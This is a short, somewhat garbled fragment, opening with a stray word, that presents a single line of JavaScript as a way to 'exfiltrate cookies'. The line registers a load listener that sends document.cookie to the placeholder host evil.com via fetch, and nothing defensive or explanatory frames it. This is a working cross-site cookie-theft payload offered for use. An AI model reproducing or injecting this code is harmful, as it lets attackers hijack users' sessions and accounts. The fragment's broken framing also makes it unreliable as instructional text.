points
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){ fetch("http://evil.com/"+document.cookie); });